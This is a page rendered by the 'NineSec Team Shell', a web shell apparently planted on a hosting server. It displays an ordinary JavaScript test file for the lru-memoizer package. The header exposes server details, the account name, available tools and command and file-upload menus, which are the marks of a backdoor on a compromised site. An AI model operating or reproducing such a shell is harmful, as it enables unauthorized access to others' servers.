NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/lru-memoizer/test/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/lru-memoizer/test/lru-memoizer.queumaxage.test.js
var memoizer = require('./..');
var assert = require('chai').assert;

describe('lru-memoizer (queueMaxAge)', function () {
  var loadTimes = 0, memoized;

  beforeEach(function () {
    loadTimes = 0;
  });

  function observer() {
    const listeners = [];
    return {
      listen(listener) {
        listeners.push(listener);
      },
      trigger() {
        listeners.forEach(listener => listener());
      }
    }
  }

  it('should create a new queue once expired', function (done) {
    memoized = memoizer({
      load: function (a, b, onResolve, callback) {
        loadTimes++;
        onResolve(() => callback(null, a + b));
      },
      queueMaxAge: 10,
      hash: function (a, b) {
        return a + '-' + b;
      }
    });

    const observer1 = observer();
    const observer2 = observer();
    const observer3 = observer();
    const resolved = [];

    memoized(1, 2, observer1.listen, function (err, result) {
      assert.isNull(err);
      assert.strictEqual(result, 3);
      resolved.push('A');
    });

    assert.strictEqual(loadTimes, 1);

    memoized(1, 2, assert.fail, function (err, result) {
      assert.isNull(err);
      assert.strictEqual(result, 3);
      resolved.push('B');
    });

    assert.strictEqual(loadTimes, 1);

    setTimeout(() => {
      // previous queue expired, this calls will be added to a new queue.
      memoized(1, 2, observer2.listen, function (err, result) {
        assert.isNull(err);
        assert.strictEqual(result, 3);
        resolved.push('C');
      });

      memoized(1, 2, assert.fail, function (err, result) {
        assert.isNull(err);
        assert.strictEqual(result, 3);
        resolved.push('D');
      });

      // only one new invocation to load
      assert.strictEqual(loadTimes, 2);

      setTimeout(() => {
        // second queue expired, this calls will be added to a third queue.
        memoized(1, 2, observer3.listen, function (err, result) {
          assert.isNull(err);
          assert.strictEqual(result, 3);
          resolved.push('E');
        });

        memoized(1, 2, assert.fail.listen, function (err, result) {
          assert.isNull(err);
          assert.strictEqual(result, 3);
          resolved.push('F');
        });

        assert.strictEqual(loadTimes, 3);

        observer1.trigger();
        setImmediate(() => {
          // first queue was resolved
          assert.deepEqual(['A', 'B'], resolved);

          observer3.trigger();
          setImmediate(() => {
            // third queue was resolved
            assert.deepEqual(['A', 'B', 'E', 'F'], resolved);

            observer2.trigger();
            setImmediate(() => {
              // second queue was resolved
              assert.deepEqual(['A', 'B', 'E', 'F', 'C', 'D'], resolved);
              done();
            });
          });
        });
      }, 100);
    }, 100);
  });
});

NineSec Team - 2022